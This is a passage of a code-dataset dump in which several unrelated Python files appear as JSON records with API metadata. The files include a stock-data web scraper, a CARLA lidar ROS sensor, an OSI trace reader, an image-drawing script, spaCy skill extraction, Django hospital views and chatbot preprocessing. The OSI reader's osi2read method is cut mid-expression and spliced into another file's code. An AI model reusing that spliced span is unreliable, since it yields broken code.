"matplotlib.pyplot.show", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.std", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "scipy.stats.norm.pdf", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.std", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "scipy.stats.norm.pdf", "line_number": 53, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}]} +{"seq_id": "28669078601", "text": "import csv\nfrom re import L\nimport urllib.request as urllib\nfrom bs4 import BeautifulSoup\nurl='http://www.nepalstock.com/annualtrading/annual'\nrequest=urllib.Request(url,headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36'})\npage=urllib.urlopen(request)\n\nsoup=BeautifulSoup(page,'html.parser')\n#rows=soup.find('table',attrs={'class':'table table-hover table-condensed'}).find_all('tr',recursive=False)[3:]\nfile=open('nepsedatascraping.csv','w',encoding='utf-8',newline='')\nmain_table=soup.find('div',{'class':'col-md-9'})\ndata_table=main_table.find_all('tr')[2:]\n#table=soup.find_all('table')\nwriter=csv.writer(file)\n#print(main_table)\n#print(data_table)\n#print(table)\nwriter.writerow(['S.N','Company','High','Low','Average','Closing','Trade Volume','Share Volume'])\nfor row in data_table:\n sn=row.find('td').text.strip()\n script_name=row.find('td',{'data-toggle':'tooltip'}).text.strip()\n numbers=row.find_all('td',{'align':'right'})\n High=numbers[0].text.strip()\n Low=numbers[1].text.strip()\n Average=numbers[2].text.strip()\n Closing=numbers[3].text.strip()\n Trade_Volume=numbers[4].text.strip()\n Share_Volume=numbers[5].text.strip()\n writer.writerow([sn,script_name,High,Low,Average,Closing,Trade_Volume,Share_Volume])\n \nprint('Thank you...')\nfile.close()\n\n", "repo_name": "madhavbhandari5/Web-Scraping", "sub_path": "nepse/nepsedata.py", "file_name": "nepsedata.py", "file_ext": "py", "file_size_in_byte": 1379, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "urllib.request.Request", "line_number": 6, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 6, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 7, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 7, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 9, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "14778967698", "text": "import numpy\nimport tf\nfrom sensor_msgs.point_cloud2 import create_cloud_xyz32\nfrom carla_ros_bridge.sensor import Sensor\nimport carla_ros_bridge.transforms as trans\n\n\nclass Lidar(Sensor):\n \"\"\"\n Actor Implementaion Details for Lidar Sensors\n \"\"\"\n\n def __init__(self, carla_actor, parent, topic_prefix=None, append_role_name_topic_postfix=True):\n \"\"\"\n Constructor for Lidar Class\n :param carla_actor: carla actor object\n :type carla_actor: carla.Actor\n :param parent: the parent of this\n :type parent: carla_ros_bridge.Parent\n :param topic_prefix: the topic prefix to be used for this actor\n :type topic_prefix: string\n :param append_role_name_topic_postfix: if this flag is set True,\n the role_name of the actor is used as topic postfix\n :type append_role_name_topic_postfix: boolean\n \"\"\"\n if topic_prefix is None:\n topic_prefix = 'lidar'\n super(Lidar, self).__init__(carla_actor=carla_actor, parent=parent,\n topic_prefix=topic_prefix,\n append_role_name_topic_postfix=append_role_name_topic_postfix)\n\n def get_tf_msg(self):\n \"\"\"\n Override Function used to modify the tf messages sent by this lidar.\n The lidar transformation has to be altered:\n for some reasons lidar sends already a rotated cloud,\n so herein, we need to ignore pitch and roll\n :return: the filled tf message\n :rtype: geometry_msgs.msg.TransformStamped\n \"\"\"\n tf_msg = super(Lidar, self).get_tf_msg()\n rotation = tf_msg.transform.rotation\n quat = [rotation.x, rotation.y, rotation.z, rotation.w]\n dummy_roll, dummy_pitch, yaw = tf.transformations.euler_from_quaternion(quat)\n # set roll and pitch to zero\n quat = tf.transformations.quaternion_from_euler(0, 0, yaw)\n tf_msg.transform.rotation = trans.numpy_quaternion_to_ros_quaternion(quat)\n return tf_msg\n\n # pylint: disable=arguments-differ\n def sensor_data_updated(self, carla_lidar_measurement):\n \"\"\"\n Function used to transform the a received lidar measurement into a ROS point cloud message\n :param carla_lidar_measurement: carla lidar measurement object\n :type carla_lidar_measurement: carla.LidarMeasurement\n \"\"\"\n header = self.get_msg_header(use_parent_frame=False)\n lidar_data = numpy.frombuffer(carla_lidar_measurement.raw_data, dtype=numpy.float32)\n lidar_data = numpy.reshape(lidar_data, (int(lidar_data.shape[0] / 3), 3))\n\n # we take the oposite of y axis\n # (as lidar point are express in left handed coordinate system, and ros need right handed)\n # we need a copy here, because the data are read only in carla numpy\n # array\n lidar_data = -lidar_data\n # we also need to permute x and y\n lidar_data = lidar_data[..., [1, 0, 2]]\n point_cloud_msg = create_cloud_xyz32(header, lidar_data)\n # point_cloud_msg = create_cloud(header, msg_fields, lidar_data)\n self.publish_ros_message(self.topic_name() + \"/point_cloud\", point_cloud_msg)\n", "repo_name": "lardemua/ros_bridge", "sub_path": "carla_ros_bridge/src/carla_ros_bridge/lidar.py", "file_name": "lidar.py", "file_ext": "py", "file_size_in_byte": 3204, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "16", "api": [{"api_name": "carla_ros_bridge.sensor.Sensor", "line_number": 8, "usage_type": "name"}, {"api_name": "tf.transformations.euler_from_quaternion", "line_number": 44, "usage_type": "call"}, {"api_name": "tf.transformations", "line_number": 44, "usage_type": "attribute"}, {"api_name": "tf.transformations.quaternion_from_euler", "line_number": 46, "usage_type": "call"}, {"api_name": "tf.transformations", "line_number": 46, "usage_type": "attribute"}, {"api_name": "carla_ros_bridge.transforms.numpy_quaternion_to_ros_quaternion", "line_number": 47, "usage_type": "call"}, {"api_name": "carla_ros_bridge.transforms", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.frombuffer", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 59, "usage_type": "call"}, {"api_name": "sensor_msgs.point_cloud2.create_cloud_xyz32", "line_number": 68, "usage_type": "call"}]} +{"seq_id": "19723540092", "text": "\"\"\"\nModule to handle and manage OSI traces.\n\"\"\"\nfrom collections import deque\nimport time\nimport lzma\n\nfrom osi3.osi_sensorview_pb2 import SensorView\nfrom osi3.osi_groundtruth_pb2 import GroundTruth\nfrom osi3.osi_sensordata_pb2 import SensorData\n\n\nSEPARATOR = b'$$__$$'\nSEPARATOR_LENGTH = len(SEPARATOR)\nBUFFER_SIZE = 1000000\n\n\ndef get_size_from_file_stream(file_object):\n \"\"\"\n Return a file size from a file stream given in parameters\n \"\"\"\n current_position = file_object.tell()\n file_object.seek(0, 2)\n size = file_object.tell()\n file_object.seek(current_position)\n return size\n\n\nMESSAGES_TYPE = {\n \"SensorView\": SensorView,\n \"GroundTruth\": GroundTruth,\n \"SensorData\": SensorData\n}\n\n\nclass OSITrace:\n \"\"\"This class wrap OSI data. It can import and decode OSI traces.\"\"\"\n\n def __init__(self, show_progress=True, path=None, type_name=\"SensorView\"):\n self.trace_file = None\n self.message_offsets = None\n self.type_name = type_name\n self.timestep_count = 0\n self.show_progress = show_progress\n self.retrieved_trace_size = 0\n\n if path is not None and type_name is not None:\n self.from_file(path)\n\n # Open and Read text file\n\n def from_file(self, path, type_name=\"SensorView\", max_index=-1):\n \"\"\"Import a trace from a file\"\"\"\n if path.lower().endswith(('.lzma', '.xz')):\n self.trace_file = lzma.open(path, \"rb\")\n else:\n self.trace_file = open(path, \"rb\")\n\n self.type_name = type_name\n self.timestep_count = self.retrieve_message_offsets(max_index)\n\n def retrieve_message_offsets(self, max_index):\n \"\"\"\n Retrieve the offsets of all the messages of the trace and store them\n in the `message_offsets` attribute of the object\n\n It returns the number of discovered timesteps\n \"\"\"\n trace_size = get_size_from_file_stream(self.trace_file)\n\n if max_index == -1:\n max_index = float('inf')\n\n buffer_deque = deque(maxlen=2)\n\n self.message_offsets = [0]\n eof = False\n\n self.trace_file.seek(0)\n\n while not eof and len(self.message_offsets) <= max_index:\n found = -1 # SEP offset in buffer\n buffer_deque.clear()\n\n while found == -1 and not eof:\n new_read = self.trace_file.read(BUFFER_SIZE)\n buffer_deque.append(new_read)\n buffer = b\"\".join(buffer_deque)\n found = buffer.find(SEPARATOR)\n eof = len(new_read) != BUFFER_SIZE\n\n buffer_offset = self.trace_file.tell() - len(buffer)\n message_offset = found + buffer_offset + SEPARATOR_LENGTH\n self.message_offsets.append(message_offset)\n\n self.trace_file.seek(message_offset)\n\n while eof and found != -1:\n buffer = buffer[found + SEPARATOR_LENGTH:]\n found = buffer.find(SEPARATOR)\n\n buffer_offset = trace_size - len(buffer)\n\n message_offset = found + buffer_offset + SEPARATOR_LENGTH\n\n if message_offset >= trace_size:\n break\n self.message_offsets.append(message_offset)\n\n if eof:\n self.retrieved_trace_size = trace_size\n else:\n self.retrieved_trace_size = self.message_offsets[-1]\n self.message_offsets.pop()\n\n return len(self.message_offsets)\n\n def get_message_by_index(self, index):\n \"\"\"\n Get a message by its index. Try first to get it from the cache made\n by the method ``cache_messages_in_index_range``.\n \"\"\"\n return next(self.get_messages_in_index_range(index, index+1))\n\n def get_messages(self):\n return self.get_messages_in_index_range(0, len(self.message_offsets))\n\n def get_messages_in_index_range(self, begin, end):\n \"\"\"\n Yield an iterator over messages of indexes between begin and end included.\n \"\"\"\n self.trace_file.seek(self.message_offsets[begin])\n abs_first_offset = self.message_offsets[begin]\n abs_last_offset = self.message_offsets[end] \\\n if end < len(self.message_offsets) \\\n else self.retrieved_trace_size\n\n rel_message_offsets = [\n abs_message_offset - abs_first_offset\n for abs_message_offset in self.message_offsets[begin:end]\n ]\n\n message_sequence_len = abs_last_offset - \\\n abs_first_offset - SEPARATOR_LENGTH\n serialized_messages_extract = self.trace_file.read(\n message_sequence_len)\n\n for rel_index, rel_message_offset in enumerate(rel_message_offsets):\n rel_begin = rel_message_offset\n rel_end = rel_message_offsets[rel_index + 1] - SEPARATOR_LENGTH \\\n if rel_index + 1 < len(rel_message_offsets) \\\n else message_sequence_len\n message = MESSAGES_TYPE[self.type_name]()\n serialized_message = serialized_messages_extract[rel_begin:rel_end]\n message.ParseFromString(serialized_message)\n yield message\n\n self.trace_file.close()\n\n def osi2read(self, name, interval=None, index=None):\n with open(name, 'a') as f:\n\n if interval is None and index is None:\n for i in self.get_messages():\n f.write(str(i))\n \n if interval is not None and index is None:\n if type(interval) == tuple and len(interval) == 2 and interval[0] Point:\n return Point(\n self.p1.x + (self.p2.x - self.p1.x) * p,\n self.p1.y + (self.p2.y - self.p1.y) * p,\n )\n\n\n@dataclass\nclass Rectangle:\n p1: Point\n p2: Point\n p3: Point\n p4: Point\n\n def __getitem__(self, key: int) -> Point:\n if key == 0:\n return self.p1\n elif key == 1:\n return self.p2\n elif key == 2:\n return self.p3\n elif key == 3:\n return self.p4\n raise ValueError(f\"key = {key} is invalid\")\n\n def __setitem__(self, key: int, value: Point) -> None:\n if key == 0:\n self.p1 = value\n elif key == 1:\n self.p2 = value\n elif key == 2:\n self.p3 = value\n elif key == 3:\n self.p4 = value\n else:\n raise ValueError(f\"key = {key} is invalid\")\n\n\ndef new_point(rect: Rectangle, i: int, pct: float = 0.1) -> Point:\n if i == 0:\n return Line(rect.p1, rect.p2).position(pct)\n elif i == 1: # top\n return Line(rect.p2, rect.p3).position(pct)\n elif i == 2:\n return Line(rect.p3, rect.p4).position(pct)\n elif i == 3:\n return Line(rect.p4, rect.p1).position(pct)\n raise ValueError(f\"i = {i} is invalid\")\n\n\ndef get_color(i: int, variant: int = 1) -> Tuple[int, int, int, int]:\n variant = variant % 9\n if variant == 0:\n r = i % (256)\n g = 0\n b = 0\n return (r, g, b, 255)\n if variant == 1:\n r = 0\n g = i % (256)\n b = 0\n return (r, g, b, 255)\n elif variant == 2:\n r = 0\n g = 0\n b = i % (256)\n return (r, g, b, 255)\n elif variant == 3:\n r = i % (256)\n g = i % (256)\n b = 0\n return (r, g, b, 255)\n elif variant == 4:\n r = i % (64)\n g = i % (64)\n b = i % (64)\n return (r, g, b, 255)\n elif variant == 5:\n r = 0\n g = i % (256)\n b = i % (256)\n return (r, g, b, 255)\n elif variant == 6:\n r = i % (256)\n g = i % (256)\n b = i % (256)\n return (r, g, b, 255)\n elif variant == 7:\n r = i % (128)\n g = i % (128)\n b = i % (128)\n return (r, g, b, 255)\n elif variant == 8:\n r = i % (256)\n g = 0\n b = i % (256)\n return (r, g, b, 255)\n\n\ndef create_rectangle(\n im, draw, rect_width, rect_height, w_offset, h_offset, variant: int, pct: float = 0.01\n):\n rectangle = Rectangle(\n Point(w_offset, h_offset),\n Point(w_offset + rect_width, h_offset),\n Point(w_offset + rect_width, h_offset + rect_height),\n Point(w_offset, h_offset + rect_height),\n )\n for i in range(1000):\n p1 = rectangle[i % 4]\n p2 = rectangle[(i + 1) % 4]\n draw_line_antialiased(\n draw, im, p1.x, p1.y, p2.x, p2.y, get_color(i, variant=variant)\n )\n\n # draw.line((p1.x, p1.y, p2.x, p2.y), fill=get_color(i))\n rectangle[i % 4] = new_point(rectangle, i % 4, pct=pct)\n\n\ndef main():\n rect_width = 300\n rect_height = 300\n rows = 3\n cols = 3\n width = rows * rect_width\n height = cols * rect_height\n im = Image.new(\"RGB\", (width, height), (0, 0, 0))\n draw = ImageDraw.Draw(im)\n\n w_offset = (width - rect_width) / 2\n h_offset = (height - rect_height) / 2\n pct = [0.1, 0.1, 0.1, 0.1, 0.2, 0.1, 0.1, 0.1, 0.1]\n for row in range(rows):\n w_offset = rect_width * row\n for col in range(cols):\n i = row * rows + col\n h_offset = rect_height * col\n create_rectangle(\n im,\n draw,\n rect_width,\n rect_height,\n w_offset,\n h_offset,\n variant=i,\n pct=pct[i % len(pct)],\n )\n\n # write to stdout\n im.save(\"rectangles.png\", \"PNG\")\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "MartinThoma/algorithms", "sub_path": "Python/art/draw_recursively_rectangles.py", "file_name": "draw_recursively_rectangles.py", "file_ext": "py", "file_size_in_byte": 4324, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 231, "dataset": "github-code", "pt": "16", "api": [{"api_name": "dataclasses.dataclass", "line_number": 10, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 16, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 71, "usage_type": "name"}, {"api_name": "anti_aliased_line.draw_line_antialiased", "line_number": 132, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 147, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 147, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 148, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 148, "usage_type": "name"}]} +{"seq_id": "562274661", "text": "import re\nfrom dataclasses import dataclass\n\nimport spacy\nfrom skillNer.general_params import SKILL_DB\nfrom skillNer.skill_extractor_class import SkillExtractor\nfrom spacy.matcher import PhraseMatcher\n\n\n@dataclass\nclass Clean:\n def clean_skills(self, raw_text: str):\n skills = []\n nlp = spacy.load(\"en_core_web_lg\")\n skill_extractor = SkillExtractor(nlp, SKILL_DB, PhraseMatcher)\n annotations = skill_extractor.annotate(raw_text)\n results = annotations.get(\"results\")\n for result in results:\n if result == \"full_matches\":\n matches = results.get(result)\n for match in matches:\n skills.append(match.get(\"doc_node_value\"))\n else:\n matches = results.get(result)\n for match in matches:\n if (\n match.get(\"type\") == \"fullUni\"\n or match.get(\"type\") == \"oneToken\"\n ):\n skills.append(match.get(\"doc_node_value\"))\n\n with open(\"not_skills.txt\", \"r\") as doc:\n start_string_words = doc.read()\n not_skill = start_string_words.split(\"\\n\")\n\n skills = [skill for skill in skills if skill not in not_skill]\n return list(set(skills))\n\n def clean_title(self, raw_title: str):\n text = raw_title.lower()\n patterns = re.compile(\n \"([\\(\\[].*?[\\)\\]])|(remote)|(senior)|(junior)|(sr)|(jnr)|(snr)|(jr)|(intern)|(lead)|(jobs)|(job)|(internship)|(\\sat\\s.*)|(-.*)|(\\sin\\s.*)\"\n )\n text = re.sub(patterns, \"\", text)\n\n nlp = spacy.load(\"en_core_web_lg\")\n nlp.add_pipe(\"textrank\")\n\n doc = nlp(text)\n ranks = [phrase.rank for phrase in doc._.phrases if phrase.count == 1]\n if ranks != []:\n max_rank = max(ranks)\n\n for phrase in doc._.phrases:\n if phrase.rank == max_rank:\n return phrase.text\n return None\n\n # def to_excel(self, file_name: str, sheet_name: str):\n # cleaned_data = self.get_cleaned_data()\n # df = pd.DataFrame(cleaned_data)\n # writer = pd.ExcelWriter(f'{file_name}.xlsx', engine='xlsxwriter')\n # df.to_excel(writer, sheet_name=sheet_name, index=False)\n # writer.save()\n", "repo_name": "kenfelix/REVAMP", "sub_path": "app/utils/cleaned.py", "file_name": "cleaned.py", "file_ext": "py", "file_size_in_byte": 2318, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "spacy.load", "line_number": 14, "usage_type": "call"}, {"api_name": "skillNer.skill_extractor_class.SkillExtractor", "line_number": 15, "usage_type": "call"}, {"api_name": "skillNer.general_params.SKILL_DB", "line_number": 15, "usage_type": "argument"}, {"api_name": "spacy.matcher.PhraseMatcher", "line_number": 15, "usage_type": "argument"}, {"api_name": "re.compile", "line_number": 41, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 44, "usage_type": "call"}, {"api_name": "spacy.load", "line_number": 46, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 10, "usage_type": "name"}]} +{"seq_id": "40626435168", "text": "from django.http.response import JsonResponse\nfrom django.shortcuts import render,redirect\nfrom .models import appointments\nfrom hmsadmin.models import departmentAdd, doctoradd,dropschedule\nfrom django.contrib import messages\n\n# Create your views here.\n#load dashbord\ndef fnrecdash(request):\n return render(request,\"recdashbord.html\")\n\n#select dep to the select box of appointment form..\n\ndef fnappointment(request):\n if request.method=='POST':\n fname=request.POST['fname']\n lname=request.POST['lname']\n age=request.POST['age']\n mobile=request.POST['mobile']\n address=request.POST['address']\n department=request.POST['department']\n doc=request.POST['doc']\n day=request.POST['day']\n obj=appointments(fname=fname,lname=lname,age=age,mobile=mobile,address=address,dep_id=department,doc_id=doc,day_id=day,status=0).save()\n \n messages.success(request,'Taken Appointment Successfully')\n return redirect(fnappointment)\n \n\n else:\n depselect=departmentAdd.objects.all()\n return render(request,'addappointment.html',{'dep':depselect})\n\n# doctor appointment view\n\ndef fnviewappointment(request):\n if request.method==\"POST\":\n doc=request.POST['doc']\n day=request.POST['day']\n obj=appointments.objects.filter(doc_id=doc,day_id=day)\n return render(request,'viewappointment.html',{'data':obj})\n\n doctors=doctoradd.objects.filter(status=1)\n return render(request,'viewappointment.html',{'doc':doctors})\n\n#select dr to the select box of appointment form..\n\ndef fnselectdr(request):\n if request.method=='POST':\n depname=request.POST['dep']\n dep=departmentAdd.objects.get(id=depname)\n doctor=doctoradd.objects.filter(department_id=dep)\n load_doctor=[{'id':i.id,'fname':i.fname} for i in doctor]\n return JsonResponse({'data':load_doctor})\n\ndef fnselectday(request):\n if request.method=='POST':\n doc=request.POST['doc']\n doctor=doctoradd.objects.get(id=doc)\n selectday=dropschedule.objects.filter(doctorid_id=doctor)\n load_day=[{'id':i.id,'day':i.day} for i in selectday]\n \n return JsonResponse({'data':load_day})\n\ndef fnviewdoctor(request):\n if request.method=='POST':\n postname=request.POST['depdoc']\n department=departmentAdd.objects.filter(depname=postname).exists()\n if department==True:\n dep=departmentAdd.objects.get(depname=postname)\n depid=dep.id\n selectdr=doctoradd.objects.filter(department_id=depid)\n return render(request,'doctordetails.html',{'doc':selectdr})\n else:\n doctor=doctoradd.objects.filter(fname=postname).exists()\n if doctor==True:\n doctortable=doctoradd.objects.filter(fname=postname)\n return render(request,'doctordetails.html',{'doc':doctortable})\n else:\n return render(request,'viewdoctor.html',{'msg':\"invalid department or doctor\"})\n\n\n return render(request,'viewdoctor.html')\n\n", "repo_name": "shabanajaleel/medcare", "sub_path": "hmsreception/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3078, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.shortcuts.render", "line_number": 10, "usage_type": "call"}, {"api_name": "models.appointments", "line_number": 24, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 26, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 27, "usage_type": "call"}, {"api_name": "hmsadmin.models.departmentAdd.objects.all", "line_number": 31, "usage_type": "call"}, {"api_name": "hmsadmin.models.departmentAdd.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.departmentAdd", "line_number": 31, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 32, "usage_type": "call"}, {"api_name": "models.appointments.objects.filter", "line_number": 40, "usage_type": "call"}, {"api_name": "models.appointments.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "models.appointments", "line_number": 40, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 41, "usage_type": "call"}, {"api_name": "hmsadmin.models.doctoradd.objects.filter", "line_number": 43, "usage_type": "call"}, {"api_name": "hmsadmin.models.doctoradd.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.doctoradd", "line_number": 43, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 44, "usage_type": "call"}, {"api_name": "hmsadmin.models.departmentAdd.objects.get", "line_number": 51, "usage_type": "call"}, {"api_name": "hmsadmin.models.departmentAdd.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.departmentAdd", "line_number": 51, "usage_type": "name"}, {"api_name": "hmsadmin.models.doctoradd.objects.filter", "line_number": 52, "usage_type": "call"}, {"api_name": "hmsadmin.models.doctoradd.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.doctoradd", "line_number": 52, "usage_type": "name"}, {"api_name": "django.http.response.JsonResponse", "line_number": 54, "usage_type": "call"}, {"api_name": "hmsadmin.models.doctoradd.objects.get", "line_number": 59, "usage_type": "call"}, {"api_name": "hmsadmin.models.doctoradd.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.doctoradd", "line_number": 59, "usage_type": "name"}, {"api_name": "hmsadmin.models.dropschedule.objects.filter", "line_number": 60, "usage_type": "call"}, {"api_name": "hmsadmin.models.dropschedule.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.dropschedule", "line_number": 60, "usage_type": "name"}, {"api_name": "django.http.response.JsonResponse", "line_number": 63, "usage_type": "call"}, {"api_name": "hmsadmin.models.departmentAdd.objects.filter", "line_number": 68, "usage_type": "call"}, {"api_name": "hmsadmin.models.departmentAdd.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.departmentAdd", "line_number": 68, "usage_type": "name"}, {"api_name": "hmsadmin.models.departmentAdd.objects.get", "line_number": 70, "usage_type": "call"}, {"api_name": "hmsadmin.models.departmentAdd.objects", "line_number": 70, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.departmentAdd", "line_number": 70, "usage_type": "name"}, {"api_name": "hmsadmin.models.doctoradd.objects.filter", "line_number": 72, "usage_type": "call"}, {"api_name": "hmsadmin.models.doctoradd.objects", "line_number": 72, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.doctoradd", "line_number": 72, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 73, "usage_type": "call"}, {"api_name": "hmsadmin.models.doctoradd.objects.filter", "line_number": 75, "usage_type": "call"}, {"api_name": "hmsadmin.models.doctoradd.objects", "line_number": 75, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.doctoradd", "line_number": 75, "usage_type": "name"}, {"api_name": "hmsadmin.models.doctoradd.objects.filter", "line_number": 77, "usage_type": "call"}, {"api_name": "hmsadmin.models.doctoradd.objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "hmsadmin.models.doctoradd", "line_number": 77, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 78, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 80, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 83, "usage_type": "call"}]} +{"seq_id": "29361339431", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 11 15:44:08 2023\n\n@author: CSB5MC\n\"\"\"\n\nimport sys\nsys.path.append('C:\\szakdolgozat_TVIK4I\\ChatBot\\chatbotEnvironment')\n\nimport random\nimport spacy\nimport json\nimport numpy as np\n\nimport layers as layer\nimport activations as activation\n\n# np.random.seed(0)\nnlp = spacy.load(\"en_core_web_sm\")\n\nwith open(r\"C:\\szakdolgozat_TVIK4I\\ChatBot\\chatbotEnvironment\\intentsNEW.json\") as file:\n intents = json.load(file)\n\n#nlp does a split in sentences with spaces and separates punctuations\ndoc = nlp(sentence)\n\n#stopwords list (326 items)\nstopwords = nlp.Defaults.stop_words\n\nwords = []\nlabels = []\ndocs = []\nignore = [\"?\", \"!\", \",\", \".\", \":\"]\n\nfor intent in intents[\"intents\"]:\n for pattern in intent[\"patterns\"]:\n #pattern = separet sentences in pattern\n list_of_words = nlp(pattern)\n #list_of_words = tokens (words)\n #words = words list + (pattern(sentence) --> words(list))\n #extend = add a list to a list\n words.extend(list_of_words)\n #docs = docs(list of sentences) + the next sentence\n #append = add an item to a list\n #docs will be a tuple of words and it's labels!\n docs.append((list_of_words, intent[\"tag\"]))\n if intent[\"tag\"] not in labels:\n labels.append(intent[\"tag\"])\n \n#Convert tokens to list\nlist_of_string = [i.text for i in words]\n\n#lower case\nlist_of_string = [x.lower() for x in list_of_string]\n\nsorted_list = sorted(list_of_string)\n\nsorted_list = set(list_of_string)\n\nword_lem = [token.lemma_ for token in words]\n\nword_lem_nlp = []\n\nfor i in word_lem:\n s_string = nlp(i)\n#if it's extend -> output list == token.Token, if append -> output list == doc.Doc\n word_lem_nlp.extend(s_string)\n \nallsorted = [token.text for token in word_lem_nlp if token.is_stop != True and token.is_punct != True]\npunctsorted = [token.text for token in word_lem_nlp if token.is_punct != True]\n\n#lower 